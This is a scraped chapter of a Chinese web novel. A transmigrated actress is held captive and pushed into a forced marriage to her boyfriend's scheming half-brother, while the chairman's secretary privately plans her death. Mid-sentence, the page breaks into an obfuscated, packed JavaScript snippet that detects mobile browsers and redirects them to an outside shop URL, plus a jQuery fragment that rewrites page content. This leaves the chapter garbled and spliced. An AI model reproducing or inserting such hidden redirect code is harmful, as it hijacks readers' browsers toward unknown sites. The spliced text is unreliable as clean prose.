31. 第 31 章

作品:《顶流她每天都想退圈[穿书]

    话音落地,范秘书露出一个满意的神情。


    她转身出门,走向守在门口的一众保镖。


    看样子是准备随便找个心腹,去商晚家取她的证件了。


    密闭的地下室里,转眼就只剩下了商晚和傅铎两人。


    他俩四目相对了一秒钟,不约而同地从对方眼里看到了明晃晃的嫌弃。


    一秒钟后,傅铎率先发难。


    他义愤填膺地指责商晚:“商南枝,你怎么能这么对我哥呢!他为了和你在一起都跟我爸撕破脸了!你知道他为你放弃了多少,又承担了多大的压力吗?!


    “真是没想到,你口口声声说爱我哥,背地里居然是这么个贪生怕死的人!


    “算我看错你了!”


    商晚目不转睛地注视了傅铎的表演整整半分钟,没忍住跟系统竖起了大拇指。


    “该说不说,这小子要是去混娱乐圈,就凭他这脸,这演技,说不好还能混个大红大紫出来。”


    系统:……


    都这时候了,宿主就别再犯她的职业病了吧!


    狭窄的地下室里,傅铎对商晚怒目而视,仿佛对她的行径愤怒到了极点。


    商晚看着傅铎的目光,忍不住想——


    难怪原书里,傅沉会这么信任傅铎。


    在《星途》这本小说的原剧情中,傅铎作为傅董事长用得最趁手的工具,是傅沉争夺傅氏集团实际控制权时最有力的竞争对手。


    他明面上是傅沉的死忠。


    从初登场起,傅铎就对傅沉所有的决定都举双手赞同,随时随地做好了为他这个哥哥赴汤蹈火的准备。


    可背地里,他却反手就把傅沉的商业底牌泄露给了顾浔,以致傅氏集团险些遭遇灭顶之灾。


    剧情后期,他甚至还将被傅沉金屋藏娇的沈茴亲自送到了傅家严手上。


    为了从傅家严手里抢回沈茴,傅沉被砍了三刀,差点落下终身残疾。


    然而,即便是这样,在傅铎自爆自己就是那个最终的叛徒之前,傅沉也仍旧没有怀疑过他。


    看书的时候,商晚一度不能理解傅沉。


    傅铎显然是他天然的竞争对手。


    异母所生的兄弟,家族产业的合法继承人,父亲尤为宠爱的小儿子。


    这么五毒俱全的人物面板,傅沉作为从小勾心斗角长大的霸总,智商设定逆天的男主,怎么会毫无芥蒂地信任他呢?


    这不纯纯脑子有毛病吗?


    可是现在,看着眼前明明狼狈无比,却还为了傅沉对她怒目而视的傅铎,商晚忽然理解了傅沉。


    就傅铎这演技,这敬业程度,这信念感。


    即使是当着她这么一个不明就里的外人的面,他也要随时随地端出一副“即使被威胁,被折磨得不成人形,也要坚定站在哥哥立场上”的好弟弟人设。


    再配上他那张真诚到让人不忍怀疑的脸。


    这谁看了能不迷糊啊!


    换成她是傅沉,就算傅铎被揭发,她高低也得说一句:“小铎他是有苦衷的!”


    商晚目光灼灼地看了傅铎好半天,直觉浑身的戏瘾都被他给勾起来了。


    不行,她可是专业的!


    怎么能在演技上输给这小子?


    商晚认认真真地拿捏了一下自己在傅铎面前的人设——


    空有皮囊,但蠢得冒泡的恋爱脑。


    商晚调整呼吸,一秒进入了状态。


    她柔柔弱弱地看向傅铎,眼睑微垂,眼泪精确无误地掉下来五颗,恰到好处地连成一串断了线的珠子。


    她泪盈盈道:“可是小铎,我要是不答应范秘书,我明天就见不到阿沉了。”


    尾音微颤,仿佛马上就要哭出声来了似的。


    傅铎:“……”


    他莫名觉得,自己全身的鸡皮疙瘩突然活过来了。


    商晚正对自己的精确演绎击节赞叹,下一秒,系统的提示音就冷不丁地响了起来:“傅铎羁绊值下降0.1。”


    商晚瞳孔骤缩。


    她不可置信地看了傅铎一眼。


    系统适时在她脑子里补刀:“宿主,傅铎可能是被你恶心到了。”


    商晚:“……”


    好好好,跟她来这套是吧。


    只许自己飙戏,不许别人演他是吧!


    傅铎这只该死的蜂窝煤!


    商晚眼角的泪痕还未干透,眨眼间便无缝衔接成了愧疚。


    她半抬起眼,目光闪烁地看着傅铎,十分为难地开口:“小铎,我实在是没有办法了,才只能被迫答应跟你结婚的——


    “你放心,我向你保证,我们就只是假结婚而已。


    “等事情一成,你爸爸把我们俩放了,我马上就回去找阿沉解释。


    “到时候我还是你嫂子,你还是我和阿沉的弟弟。”


    语气楚楚可怜,但听那话里的意思,却分明透着“没事,就算我们结婚了,我也还是可以跟你哥合力,给你戴一顶绿帽子”的执拗。


    傅铎:“……”


    妈的!


    傅沉怎么会看上这种女人!


    傅铎无语地看着面前自说自话的商晚,越看越觉得傅沉指定是失心疯了。


    而商晚的恶魔低语还未停下。


    她火上浇油道:“就算将来你爸不同意我们离婚,也没有关系的。


    “小铎,你和阿沉都知道,我们只是假结婚,我们的婚姻事实并不成立。既然这样,那我们完全可以当作自己还是单身。


    “到时候你过你的日子,我继续和阿沉在一起,不影响的。”


    傅铎:神他妈不影响!


    他脸上演出来的义愤填膺险些维持不住,一连深吸了好几口气,才按下了自己当场弄死商晚的危险想法。


    商晚脸上挂泪,眼睛却一眨不眨地看向傅铎。


    不就是互相伤害吗?


    来啊!


    傅铎要是敢当着她的面继续掉羁绊值,她转头就去跟全世界宣布,傅铎脑门上的那顶帽子到底有多绿。


    反正恨也是一种羁绊!


    地下室里陷入了一阵诡异的沉默。


    傅铎的后槽牙使劲磨了一下。


    商晚就这么好整以暇地看着傅铎,一边继续表演痴情恋爱脑,一边细细欣赏他憋屈的表情。


    就在商晚寻思着要不要再恶心傅铎一把的时候,门忽然开了。


    范秘书拿着一只透明的文件袋,再次走了进来。


    她派出去的人以一种惊人的效率,带回了商晚的个人证件。


    身份证,户口本,一应俱全。


    商晚的脊背僵硬了一瞬。


    这他爹的也太快了!


    姓范的是开飞机去的吗??


    范秘书含笑看向商晚:“商小姐,感谢您的配合,东西送到了。”


    她一边说,一边将文件袋里的东西拿出来,仔细检查。


    待到确认无误后,她才继续道:“天就快亮了,一会儿民政局的工作人员会亲自上门,给您


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112202|194421||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和傅铎少爷办理结婚手续。


    现在,得请您先洗漱一番,好方便一会儿拍摄证件照。”


    话说得平淡,但意思很明显。


    她今天要是不签这个字,不走完这套手续,不跟傅铎结婚,就不可能走出这座安防系统一流的地下室。


    商晚的呼吸微微停顿了一下。


    她没有对范秘书的话做出任何反应,只在脑海中问了系统一句:“几点了。”


    系统:“六点十九分。”


    商晚的心慢慢沉到了谷底。


    果然,折腾了一整晚,天快要亮了。


    昨天晚上,出发去找杨姐之前,顾浔明确表示过,会和她并肩作战。


    非但如此,临出发前,她还给傅沉同步过傅家严绑架杨姐的消息,和他说过事情有多么紧急。


    以商晚对顾浔和傅沉能力的了解,一整夜过去,他们俩早该找到这里来了。


    如果他们再不来的话——


    范秘书身后的保镖缓缓上前,十分细致地替商晚解开了捆住她手脚的绳子,押着她走向化妆间。


    商晚面上不动声色,却竭力把脚步放缓,试图多拖延一下时间。


    范秘书看着商晚迟缓的脚步,没忍住露出了一点笑意。


    对于他们傅董事长提出的所有条件,商晚答应得实在是太过干脆,范秘书确实也有那么一点点疑虑。


    不过,瞧这位商小姐眼下的模样,她倒是明白了她的打算。


    缓兵之计。


    小姑娘的花花肠子么,一点也不难猜。


    这位商小姐无非是觉得,就算是嫁给了傅铎少爷,只要他们的婚姻事实不成立,她就总有回到小傅总身边的机会。


    只可惜,他们傅董事长想得可比她深多了。


    傅董事长要的,从来就不是那一纸轻飘飘的结婚证明。


    一旦商小姐和傅铎少爷成了法律认可的夫妻,他们傅董事长就能凭着长辈的身份,名正言顺地安排商小姐退圈。


    凭着一张好脸蛋嫁进豪门,又急流勇退的富太太还少吗?


    这甚至连个新闻都算不上。


    只要商小姐离开了娱乐圈那个曝光率高得离谱,还动辄就容易给傅氏集团惹上网民审判的地方,他们董事长再想做点什么,那不就容易得很了吗?


    至多只要几个星期——


    等商小姐退圈的热度过去,他们董事长就可以悄无声息地安排傅铎少爷和商小姐出国。


    就算是小傅总,也没有立场阻拦一对合法夫妻出去度蜜月。


    非洲一望无际的草原,西伯利亚连绵的雪山,大西洋罕有人烟的风暴中心,处处都是合适的葬身场所。


    商小姐会死得悄无声息,甚至连一丁点风浪都不会掀起来。


    这可比对她的威亚动手脚,或是收买她的司机让她出车祸,要容易得多了。


    地下室外,临时搭建的化妆间里,商晚被半强迫着坐在了化妆椅上。


    化妆师动作轻柔地挽起她的长发,用湿巾一点点擦干净她脸上的脏污,还十分妥帖地处理好了她唇角被胶布扯破的伤口。


    商晚配合地仰着脸。


    即使是站在对立的立场上,范秘书也不得不承认,这位商南枝商小姐确实长了一张造物主钟爱的脸。


    难怪他们小傅总不惜跟家里撕破脸,也要一定和商小姐在一起。


    可惜了——


    范秘书罕见地在心里叹了口气。


    可惜了,红颜薄命呐。